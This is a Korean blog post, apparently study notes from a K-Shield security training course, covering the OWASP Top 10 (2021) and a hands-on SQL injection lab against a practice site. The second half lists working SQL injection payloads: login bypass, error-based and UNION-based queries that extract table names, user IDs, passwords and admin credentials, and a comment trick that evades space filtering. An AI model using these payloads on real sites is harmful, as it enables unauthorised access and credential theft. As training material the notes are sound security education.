2022. 7. 11. 17:37ㆍ보안/케이쉴드
웹 해킹
> 웹 서비스를 대상으로 발생하는 해킹
웹 사이트 취약점을 이용하여 권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴를
OWASP
웹에 관한 보안 프로젝트를 진행 1~10위 (약 4년 주기)
2021년 ver
new!
SSRF
안전하지 않은 설계
소프트웨어 데이터 무결성 오류
xss> 인젝션에 통합됨
1위 취약한 접근 통제
사용자 접근제어가 제대로 인증되지 않을경우
다른 사용자의 계정 및 데이터에 접근해 중요한 파일 열람 및 접근 권한 수정
2위 암호화 오류
민감 데이터 노출 원인이 암호화 실패라고 분석되어 명칭이 변함
3위 인젝션
xss, sql, os, xxe, ldap 인젝션 등 신뢰할 수 없는 데이터가 전달될 때 나타나는 취약점
악의적인 데이터 주입으로 인해 공격자가 명령 실핼
4위 안전하지 않은 설계
위렵 모델링, 보안 설계의 중요성을 강조
설계과정에서 고려
5위 보안 구성 오류
불필요한 기능 활성화 및 설치, 상세한 오류메시지 노출, 최신 보안기능 비활성화 등으로 발생
6위 취약하고 오래된 컴포넌트
관리되지 않은 타사 구성요소를 사용하거나 사용중인 구성요소의 버젼을 모를때 발생
라이브러리, 컴포넌트 등의 문제
7위 식별 및 인증 오류
8위 무결성 오류
9위 보안 로깅과 모니터링 오류
10위 서버측 요청 위조
GET =url 에 보임
POST = body , url 안보임
파라미터 가 핵심!
입력 가능한 곳에 ' 를 넣어봐서 취약점이 존재하는지 확인
점검대상
로그인창, 비번입력창
검색창
탑뷰
회원가입
주소찾기 등등 파라미터가 들어가는 모든곳을 점검해보기!
1. 인증 우회
'or 1=1 --
2. 데이터 추출
-sql injection
=Error-Based
-DB 이름
= 'and db_name() > 1 --
> oyesmall
-TABLE 이름 (어디에 입력하냐에 따라 결과가 다름)
= 'having 1=1 -- (GROUP BY 절과 사용하지 않아 에러 발생)
>계정 정보 테이블 = Members.num
-Columns들
= ' group by (num) -- >>>num의 다음 컬럼
= ' group by num, user_id -- >>>user_id 의 다음 컬럼
결론
DB 이름 : oyesmall
계정 테이블 : Members
컬럼 : num, user_id, passwd
에러베이스
아이디 찾아보기
구문예시
'or 1 in (select user_id from members where num
1. oyes
2. bisang2da
3. kisec
4. kisectest
5. rnrneks
HINT )
'or 1 in (select user_id from members where user_id not in ('oyes', '???') --
Members 테이블의 행 개수 -
HINT)
count(*), cast
' or 1 in (select 'a' + cast(count(*) as varchar(100)) from members) --
=Union을 이용한 sql injection
Union은 동일한 식의 갯수가 있어야 한다
select user_id, passwd from table where user_id = ' ' ....이런식의 질의 앞부분을
' union select 1, 2, ... -- 로 몇가지를 앞에서 물어봤는지 알 수 있다.
그다음숫자를 실제 존재하는 컬럼으로 대체하여 검색하면! 해결
~~~ from information_schema.tables --
ex
[테이블 이름 뽑아내기]
'union select 1,2,3,4, table_name from information_schema.tables --
[특정 태이블 내 컬럼 이름 뽑아내기]
' union select 1,2,3,4, (colum_name) from information_schema.columns where table_name = 'members' --
[계정 id pw 뽑기]
' union select 1,2,3, user_id , passwd from members --
[관리자 페이지 로그인]
' union select 1,2,3, adminid, adminpwd from admin_tb --
[그냥 간단 우회]
글자수 제한 > 크롬에서 최대 글자수 늘리고 작성
[공백 삭제 우회]
' union select /**/ 1,2,3,4,5 --
주석으로 공백 넣음
=Blind
'보안 > 케이쉴드' 카테고리의 다른 글
오프라인 7일차 (웨협에 대응하기 위한 보안 환경의 이해) (0) | 2022.07.18 |
---|---|
오프라인 6일차 (ssrf) (0) | 2022.07.16 |
4일차 공통 교육 과정(윈도우) (0) | 2022.07.10 |
오프라인 4일차 (ARP 스푸핑 실습, DoS) (0) | 2022.07.07 |
오프라인 3일차 (네트워크 기반 위협) (0) | 2022.07.04 |